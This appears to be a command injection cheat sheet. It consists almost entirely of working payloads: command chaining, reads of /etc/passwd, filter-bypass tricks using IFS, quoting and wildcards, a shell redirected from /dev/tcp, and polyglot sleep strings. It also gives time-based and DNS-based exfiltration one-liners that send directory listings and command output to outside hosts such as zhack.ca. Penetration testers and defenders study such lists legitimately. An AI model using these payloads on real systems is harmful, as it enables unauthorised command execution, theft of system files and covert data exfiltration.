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5.5 KiB
5.5 KiB
Command Injection
Command injection is a security vulnerability that allows an attacker to execute arbitrary commands inside a vulnerable application.
Summary
- Tools
- Exploits
- Filter Bypasses
- Challenge
- Time based data exfiltration
- DNS based data exfiltration
- Polyglot command injection
- References
Tools
Exploits
Basic commands
Execute the command and voila :p
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
Chaining commands
original_cmd_by_server; ls
original_cmd_by_server && ls
original_cmd_by_server | ls
original_cmd_by_server || ls Only if the first cmd fail
Inside a command
original_cmd_by_server `cat /etc/passwd`
original_cmd_by_server $(cat /etc/passwd)
Filter Bypasses
Bypass without space
Works on Linux only.
swissky@crashlab:~/Www$ cat</etc/passwd
root:x:0:0:root:/root:/bin/bash
swissky@crashlab▸ ~ ▸ $ {cat,/etc/passwd}
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
swissky@crashlab▸ ~ ▸ $ cat$IFS/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
swissky@crashlab▸ ~ ▸ $ echo${IFS}"RCE"${IFS}&&cat${IFS}/etc/passwd
RCE
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
swissky@crashlab▸ ~ ▸ $ X=$'uname\x20-a'&&$X
Linux crashlab 4.4.X-XX-generic #72-Ubuntu
swissky@crashlab▸ ~ ▸ $ sh</dev/tcp/127.0.0.1/4242
Commands execution without spaces, $ or { } - Linux (Bash only)
IFS=,;`cat<<<uname,-a`
Works on Windows only.
ping%CommonProgramFiles:~10,-18%IP
ping%PROGRAMFILES:~10,-5%IP
Bypass with a line return
something%0Acat%20/etc/passwd
Bypass Blacklisted words
Bypass with single quote
w'h'o'am'i
Bypass with double quote
w"h"o"am"i
Bypass with backslash and slash
w\ho\am\i
/\b\i\n/////s\h
Bypass with $@
who$@ami
echo $0
-> /usr/bin/zsh
echo whoami|$0
Bypass with variable expansion
/???/??t /???/p??s??
test=/ehhh/hmtc/pahhh/hmsswd
cat ${test//hhh\/hm/}
cat ${test//hh??hm/}
Bypass with wildcards
powershell C:\*\*2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:\*\*32\c*?c.e?e # calc
Challenge
Challenge based on the previous tricks, what does the following command do:
g="/e"\h"hh"/hm"t"c/\i"sh"hh/hmsu\e;tac$@<${g//hh??hm/}
Time based data exfiltration
Extracting data : char by char
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s
user 0m0.000s
sys 0m0.000s
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real 0m0.002s
user 0m0.000s
sys 0m0.000s
DNS based data exfiltration
Based on the tool from https://github.com/HoLyVieR/dnsbin also hosted at dnsbin.zhack.ca
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "http://$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
Online tools to check for DNS based data exfiltration:
- dnsbin.zhack.ca
- pingb.in
Polyglot command injection
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
e.g:
echo 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
echo '1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
echo "1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
e.g:
echo 1/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
echo "YOURCMD/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/"
echo 'YOURCMD/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/'